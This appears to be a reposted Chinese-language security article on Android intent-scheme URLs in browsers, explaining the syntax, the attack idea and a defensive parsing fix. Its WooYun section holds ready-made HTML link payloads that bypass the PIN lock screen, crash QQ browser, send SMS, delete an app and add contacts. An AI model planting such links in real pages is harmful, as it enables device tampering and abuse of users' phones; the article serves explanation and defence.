android chrome iframe设置src属性无法启动app
0x01 Android Intents with Chrome
Android有一個很少人知道的特性可以通過web頁面發送intent來啟動apps。以前通過網頁啟動app是通過設置iframe的src屬性,例如:
<iframe src="paulsawesomeapp://page1"> </iframe>此方法適用version 18或者更早版本。其他android瀏覽器也適用。 這個功能在安卓chrome 瀏覽器version 25之后版本發生了改變。不能在通過設置iframe標簽的src屬性來啟動app了。取而代之的是你應該通過自定義scheme實現用戶手勢啟動app或者使用本文描述的“intent:”語法。
1.1 基本語法
“最佳實踐”是構造一個intent插入網頁中使用戶能夠登錄app。這為您提供了更多的靈活性在控制應用程序是如何啟動,包括傳通過Intent Extras傳遞額外信息。 intent-based URI基本語法如下:
intent:HOST/URI-path // Optional host#Intent;package=[string];action=[string];category=[string];component=[string];scheme=[string];end;?
語法細節見源碼Android source
1.2 簡單舉例
例子是一個intent登陸應用“Zxing barcode scanner”,語法如下:
intent://scan/#Intent;package=com.google.zxing.client.android;scheme=zxing;end;設置a標簽發href屬性:
<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>Package和host定義在配置文件中Android Zxing Manifest
1.3 注意事項
如果調用activity的intent包含extras,同樣可以包含這些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE通過這種方式在瀏覽器中打開,因為這樣表明其是安全的。
1.4 另請參閱
? Android Intents and Intent Filters
? Android Activities
0x02 利用思路
在Android上的Intent-based攻擊很普遍,這種攻擊輕則導致應用程序崩潰,重則可能演變提權漏洞。當然,通過靜態特征匹配,Intent-Based的惡意樣本還是很容易被識別出來的。 然而最近出現了一種基于Android Browser的攻擊手段——Intent Scheme URLs攻擊。這種攻擊方式利用了瀏覽器保護措施的不足,通過瀏覽器作為橋梁間接實現Intend-Based攻擊。相比于普通Intend-Based攻擊,這種方式極具隱蔽性,而且由于惡意代碼隱藏WebPage中,傳統的特征匹配完全不起作用。除此之外,這種攻擊還能直接訪問跟瀏覽器自身的組件(無論是公開還是私有)和私有文件,比如cookie文件,進而導致用戶機密信息的泄露。
0x03 1.3 Intent scheme URL的用法
看一下Intent Scheme URL的用法。
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>??從用法上看,還是很好理解的,這里的代碼等價于如下Java代碼:
Intent intent = new Intent("myaction");?? intent.setData(Uri.parse("mydata"));?? intent.setType("text/plain");??再看一個例子:
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end上面的語句,等價于如下Java代碼:
Intent intent = new Intent("myaction");?? intent.setData(Uri.pase("//foobar/"));?? intent.putExtra("xyz", "123");?? intent.putExtra("abc", 678);??其中S代表String類型的key-value,i代表int類型的key-value。 源碼中提供了Intent.parseUri(String uri)靜態方法,通過這個方法可以直接解析uri,如果想更一步了解其中的語法,可以查看官方源碼。
0x04 Intent scheme URI的解析及過濾
如果瀏覽器支持Intent Scheme URI語法,一般會分三個步驟進行處理:
關鍵函數
Intent.parseUri()繞過
Intent.setComponent(null);使用sel;
0x05 烏云案例
WooYun: qq瀏覽器IntentScheme處理不當
WooYun: 傲游云瀏覽器遠程隱私泄露漏洞(需要一定條件)
某瀏覽器對此支持非常好
<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">設置繞過Pin碼(android 3.0-4.3) </a> <a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">qq瀏覽器崩潰 </a> <a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">打開原生瀏覽器 </a><a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">發送短信 </a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">打開相機 </a><br>
<a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">刪除應用 </a><br>
<a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">添加聯系人 </a><br>
0x06 修復
通過以上漏洞的描述,總結得出一種相對比較安全的Intent Filter方法,代碼如下:
// convert intent scheme URL to intent object?? Intent intent = Intent.parseUri(uri);?? // forbid launching activities without BROWSABLE category?? intent.addCategory("android.intent.category.BROWSABLE");?? // forbid explicit call?? intent.setComponent(null);?? // forbid intent with selector intent?? intent.setSelector(null);?? // start the activity by the intent?? context.startActivityIfNeeded(intent, -1);??0x07 參考
http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805
轉載于:https://www.cnblogs.com/gaoxue/p/4087861.html
總結
以上是生活随笔為你收集整理的android chrome iframe设置src属性无法启动app的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 将博客搬至博客园
- 下一篇: 算法训练 Torry的困惑